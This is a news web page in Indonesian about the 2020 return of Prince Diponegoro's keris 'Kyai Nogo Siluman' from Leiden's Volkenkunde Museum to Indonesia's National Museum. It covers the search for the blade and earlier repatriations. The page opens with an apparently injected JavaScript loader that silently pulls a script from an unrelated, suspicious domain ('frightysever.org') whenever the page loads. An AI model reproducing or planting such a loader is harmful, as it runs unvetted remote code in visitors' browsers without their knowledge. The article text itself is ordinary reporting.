(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Kembara 150 Tahun Keris Diponegoro ‘Kyai Nogo Siluman’ dari Belanda


KANALKALIMANTAN.COM, JAKARTA – Sebilah keris milik Pangeran Diponegoro yang sempat tidak diketahui kabarnya, akhirnya ditemukan dan dikembalikan ke Indonesia. Keris ini ditemukan di Museum Volkenkunde, Leiden, Belanda, dan beberapa hari kemudian langsung diserahkan ke Museum Nasional Indonesia.

Kabar tersebut disampaikan oleh Kementerian Pendidikan, Kebudayaan, dan Ilmu Pengetahuan Belanda. “Saya bahagia bahwa penelitian mendalam ini, yang diperkuat ahli Belanda dan Indonesia, menjelaskan bahwa ini adalah keris yang dicari-cari selama ini.” “Sekarang keris ini dikembalikan ke negeri asalnya: Indonesia,” ucap Menteri Pendidikan, Kebudayaan, dan Ilmu Pengetahuan Belanda, Inggrid van Engelshoven, dalam rilis yang dikeluarkan.

Selasa (3/3/2020) keris ini telah diterima Duta Besar Indonesia I Gusti Agung Wesaka Puja di Kedubes RI di Den Haag. Kemudian pada Kamis (5/3/2020) Dubes Puja menyerahkannya langsung ke Kepala Museum Nasional Indonesia, Siswanto. “Semoga hari ini menjadi berkat bagi kita semua. Karena hari ini merupakan momentum yang bersejarah dengan kembalinya keris Pangeran Diponegoro sejak keluar dari Tanah Air kita 150 tahun lalu,” ucap Dubes Puja, dikutip dari Historia.id.

10 Maret kemarin, keris bernama Kiai Nogo Siluman ini akan dipamerkan di pertemuan Raja Belanda Willem-Alexander dengan Presiden RI Joko Widodo. Keris bersejarah ini juga akan dipamerkan secara khusus di Museum Nasional, bersama benda-benda pusaka Pangeran Diponegoro lainnya.

Di antaranya adalah barang-barang yang dikembalikan tahun 1978 yaitu tombak, pelana kuda, dan payung kehormatan. Tongkat Kyai Cokro yang dikembalikan pada 2015 lalu juga ikut dipamerkan.

Keris Pangeran Diponegoro dihadiahkan Kolonel Jan-Baptist Cleerens ke Raja Willem I pada 1831, setelah sang empunya keris ditangkap. Keris ini lalu disimpan di Koninklijk Kabinet van Zeldzaamheden (KKZ), yang merupakan koleksi khusus kabinet Kerajaan Belanda. Keberadaan keris Pangeran Diponegoro mulai menjadi teka-teki setelah KKZ bubar.

Benda-benda koleksinya tersebar ke banyak museum, sedangkan informasi tentang benda-benda koleksi itu ikut hilang. Salah satunya adalah keris dari putra tertua Sultan Hamengkubuwono III tersebut.  “Kerisnya ada tapi catatannya hilang. Jadi bukan kerisnya yang hilang,” tutur Ketua Departemen Sejarah Universitas Gadjah Mada, Sri Margana.

Pencarian kemudian dilakukan pada 1984 oleh Peter Pott, kurator Museum Volkenkunde. Sayangnya, penelitian Pott terhenti. Kemudian tahun 2017 pencarian kembali dilakukan oleh Johanna Leigfeldt dan dua tahun kemudian oleh Tom Quist.

Historia.id menerangkan, Quist dan Leigfeldt menemukan tiga keterangan yang mengarah ke identifikasi keris Kiai Nogo Siluman. Keterangan pertama berasal dari surat Sentot Prawirodirjo, mantan perwira Perang Diponegoro. Keterangan kedua didapat dari Kolonel Jan-Baptist Cleerens yang membawa keris itu. Lalu yang ketiga, keterangan dari Raden Saleh, pelukis yang menggambarkan bentuk keris Kiai Nogo Siluman.

Bukti-bukti ini kemudian dikonfirmasi oleh Sri Margana, yang juga tergabung dalam tim ahli Indonesia. 24 Februari 2020 Margana terbang ke Negeri “Kincir Angin” guna memastikan keaslian keris tersebut.

Keris Kiai Nogo Siluman berbahan dasar besi warna hitam dengan ukiran warna emas. Di sekujur bilah keris terdapat wujud naga yang tubuhnya memanjang. Dulunya, tubuh naga itu berlapis emas tapi sekarang hanya tersisa beberapa jejak emasnya.

Ukiran naga juga tersembunyi di bagian bawah, berdekatan dengan gagang keris. Sosok naga ini hanya bisa dilihat dari posisi tertentu.

Kembalinya keris Pangeran Diponegoro ke Indonesia juga menandai “reuni” barang-barang peninggalan pemimpin Perang Diponegoro itu. Tahun 1975 terjalin perjanjian antara Indonesia dan Belanda untuk pengembalian warisan budaya dari tokoh-tokoh sejarah. Tiga tahun kemudian perjanjian ini diwujudkan dengan pengembalian arca Prajnaparamita, dan 237 benda berharga hasil jarahan Perang Lombok 1894 di Puri Cakaranegara, Lombok.

Tiga benda yang pernah dipakai Pangeran Diponegoro juga dikembalikan, yakni payung kehormatan, tombak, dan pelana kuda. Kemudian di saat bersamaan Yayasan Granje-Nassau menghadiahkan lukisan penangkapan Pangeran Diponegoro yang dibuat oleh Raden Saleh. Tahun 2015, sebuah tongkat milik Pangeran Diponegoro dikembalikan ke Indonesia dan disimpan di Museum Nasional. Tongkat bernama Kanjeng Kyai Cokro ini sebelumnya disimpan selama 181 tahun oleh keluarga keturunan Jean Chretien Baud, yang merupakan Gubernur Jenderal Hindia Belanda 1833-1834. (Aditya Jaya Iswara/historia/kompas)

 

Editor : Cell

 


Desy Arfianty

Recent Posts

Transaksi Digital Semakin Mudah: BRI dan KAI Luncurkan QRIS di Resto on Train & Loko Cafe

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk (BRI) bersama PT Kereta Api Indonesia (Persero)… Read More

1 jam ago

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

11 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

14 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

16 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

16 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

19 jam ago

This website uses cookies.